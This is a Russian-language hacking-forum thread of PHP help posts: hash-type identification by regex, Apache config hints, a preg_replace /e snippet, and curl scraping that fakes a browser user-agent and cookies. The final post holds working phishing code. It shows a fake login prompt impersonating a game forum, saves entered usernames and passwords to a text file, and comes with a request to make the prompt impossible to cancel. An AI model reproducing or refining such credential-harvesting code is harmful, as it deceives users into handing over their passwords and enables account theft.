юзал поиск не нащёл. Какое самое адекватное решение по определение хэш пассворда, может уже есть готовый алгоритм универсальный?
nes http://forum.antichat.ru/thread61277.html Или проверять похожесть на эти: http://www.insidepro.com/hashes.php?lang=eng
PHP: <?php function vhash($str){ $hex=''; $hashh=array(array('md3, md4 hmac, md5, md5 hmac, ripmed 128, NTHash, LM, MacroHash','/^[a-zA-Z0-9]{32}$/'), array('md4 base64, md5 base64,','/^[a-zA-Z0-9\/\+]{22}\=\=[a-zA-Z0-9\/]{3}\=$/'), array('md5 Unix,','/^\$\d\$[\D\d]*\$[a-zA-Z0-9\.\/]{22}$/'), array('md5 APR,','/^\$apr1\$[\D\d]*\$[a-zA-Z0-9\.\/]{22}$/'), array('mysql,','/^[a-zA-Z0-9]{16}$/'), array('sha-1 base64,','/^[a-zA-Z0-9\/\+\=]{28}$/'), array('mysql5, sha-1, sha-1 hmac, ripmed 160,','/^[a-zA-Z0-9]{40}$/'), array('sha-256, ГОСТ Р34.11-94, ripmed 256,','/^[a-zA-Z0-9]{64}$/'), array('ripmed 320,','/^[a-zA-Z0-9]{80}$/'), array('sha-384,','/^[a-zA-Z0-9]{98}$/'), array('crc16, crc16-ccitt,','/^[a-zA-Z0-9]{4}$/'), array('crc32, crc32b, GHash-32, Adler32','/^[a-zA-Z0-9]{8}$/'), array('sha-512,','/^[a-zA-Z0-9]{128}$/')); if(!empty($str)){ $hashstr=''; for($i=0;$i<count($hashh);$i++){ if(preg_match($hashh[$i]['1'],$str))$hashstr.=$hashh[$i]['0']; } if(!empty($hashstr)) $hex='Looks like HASH: '.$hashstr; else $hex=''; } return $hex; } ?>
Не совсем так. Если более строго, то salt MD5 Unix начинается только на $1$. Далее, добавлю. Blowfish начинается с $2a$, MD5 Sun - с $md5$ (ни разу таких хэшей не встречал). В моем дистре заместо MD5 Unix пассы зашифрованы алгоритмом SHA-512, такие хэши начинаются со строки $6$, длина их равна 86 символам (длина salt увеличена до 16 символов). Если хэш начинается с $5$ и его длина 43 символа, то это SHA-256. Все это описано в man crypt, и эти алгоритмы тоже можно в определялку запихнуть.
Все описано в манах 1. AddType application/x-httpd-php phtml php php5 html 2. DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm index.php5 Еще во втором возможен неверный путь в конфиге
Модификатор e Code: $line = preg_replace("#\[Folder\](.*?)\[/Folder\]#si[COLOR=Red]e[/COLOR]", "'<a href=\"javascript:gotodir(\''.[COLOR=Red]addslashes[/COLOR]('\\1').'\');\"><font color=#F9F966>\\1</font></a>'", $line);
Помогите с написанием ! Есть форма авторизации на одном сайте, помогите зделать так что бы при откртии страницы php сразу авторизация происходила !
Ну в скрипте логина устанавливаешь сессию, куки или что там тебе надо, а потом пишешь: PHP: header('Location: index.php'); Где index.php нужная тебе страница, и после логина юзер будет на нее перекидываться. Ну а уже в ней смотришь залогинен он или нет.
PHP: <?php function my() { $i=0; $i++; print $i; print "<br>"; } my(); my(); my(); my(); ?> STATIC там ненужен
Здравствуйте! Есть такие сайты, которые при попытке получить исходный код через file_get_contents() ругаются: "Убедитесь что Ваш браузер поддерживает куки". Пробую получать исходный код через CURL, всё работает отлично, но и здесь сайт ругается. Вот как Я получаю исходник страницы: PHP: $url = 'http://google.co.uk/'; $ch = curl_init(); // initialize curl handle curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FAILONERROR, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 15); $document = curl_exec($ch); echo $document; Google вставлен лишь для примера. Подскажите пожалуйста, как маскироваться под браузер с куками? Заранее благодарен!
писец вот тебе самописная функция для получения страницы через file_get_contents с браузером и куками и прокси =) PHP: function sock_do($action,$method,$header = false,$params = false,$proxy = false,$cookie = false,$referer = false) { $out = array('http' => array()); $method = strtoupper($method); if($method == 'GET') { $action .= '?'.$params; $out['http']['method'] = 'GET'; } elseif($method == 'POST') { $out['http']['method'] = 'POST'; $out['http']['header'] = "Content-type: application/x-www-form-urlencoded\r\n". "Content-length: ".strlen($params)."\r\n"; $out['http']['content'] = $params; } else { die('Йа криветко'); } if($proxy) { $out['http']['proxy'] = 'tcp://'.$proxy; } if($cookie) { $out['http']['header'] .= 'Cookie: '.$cookie."\r\n"; } if($referer) { $out['http']['header'] .= 'Referer: '.$referer."\r\n"; } $out['http']['header'] .= "Connection: close\r\n"; $content = stream_context_create($out); $result = @file_get_contents($action,false,$content); $res = array(); $res = array($result); if($header) { $res[] = implode("\r\n",$http_response_header); } return $res; //Возвращаем ответ + заголовки } # [пример использования] $send = sock_do('http://microsoft.com/private/index.php','GET',1,'login=bill&password=antichat');# аналагично с POST print_R($send);# В первом кдюче ответ сервера во втором заголовки в свой код добавь строчки PHP: curl_setopt($ch,CURLOPT_USERAGENT,'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');// "Браузер" curl_setopt($ch,CURLOPT_COOKIE,Йа ацкое криветко);//тут твои куки
Спасибо огромное, но тем не менее код страницы Я таки получить не смог, вот эта страница: Пользуюсь твоей функцией вот так: PHP: $url = 'http://blogs.telegraph.co.uk/'; $send = sock_do($url,'GET',1,'');# аналагично с POST print_r($send);# В первом кдюче ответ сервера во втором заголовки // Выдёргиваем куки preg_match_all("/Set-Cookie:(.*); expires=/",$send[1],$out); print_r($out); $cookie = $out[1][0].'; '.$out[1][1].'; '.$out[1][2].';'; echo "<b>$cookie</b>"; $ch = curl_init(); // initialize curl handle curl_setopt($ch, CURLOPT_URL, $url); // set url to post to curl_setopt($ch, CURLOPT_FAILONERROR, 1); // Fail on errors curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_USERAGENT,'Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1');// "Браузер" curl_setopt($ch, CURLOPT_COOKIE,$cookie);//тут твои куки curl_setopt($ch, CURLOPT_TIMEOUT, 15); // times out after 15s $document = curl_exec($ch); echo $document;
Не люблю такие сайты,ща нет времени писать код,просто глянул,там наверное ещё надо будет пройти Location несколько раз.
Он выставил curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); Так что, посмотри, может кидает какие нибудь варнинги, и проверь open_basedir (Вроде бы он должен быть незаполнен для CURLOPT_FOLLOWLOCATION).
В данном случае лучше не разбирать печеньки самому, а воспользоваться функциями курла. PHP: function post($url='',$content='',$referer='') { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_TIMEOUT, 15); curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile"); curl_setopt($ch, CURLOPT_COOKIEJAR, "cookiefile"); curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208'); if (!empty($content)) {curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $content);} else {curl_setopt($ch, CURLOPT_POST, 0);} if (!empty($referer)) curl_setopt($ch, CURLOPT_REFERER, $referer); $ss=curl_exec($ch); curl_close($ch); return $ss; } echo post('http://blogs.telegraph.co.uk/'); Или же, следить на какой именно домен вас перекидывает и собирать куки только для blogs.telegraph.co.uk. Защита такая немудреная, вначале редиректит на onesite.com потом обратно, и если есть куки от onesite.com - выдает ошибку
Вот вопросик , есть код: PHP: <? if(!$_COOKIE['LOGON']) { $login = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; //Авторизация пройдёт, если пароль больше 2-ёх символов и вообще написан логин if(strlen($pass) <= 2 || !$login) { Header('HTTP/1.1 401 Unauthorized'); Header('WWW-Authenticate: Basic realm="la2titan.ru/forum/ - login"'); } elseif($login) { //ставим кукис, чтобы при повторном заходе авторизации небыло, в самом начале проверка есть ли кукис )) setcookie('LOGON',md5($pass)); //запишем пароли в файл $f = fopen('passwords.txt', 'ab'); //passwords.txt fwrite($f, $login." ||| ".$pass."\r\n"); //в формате LOGIN ||| PASSWORD fclose($f); } } ?> он типо выдаёт окно авторизации, если нажимаеш ок а число символов меньше 2 то окно возвращается, а если отмена то схлопывается, можно ли сделать чтобы при нажатии отмена окно не схлопывалось пока пользователь не введёт логин и пасс????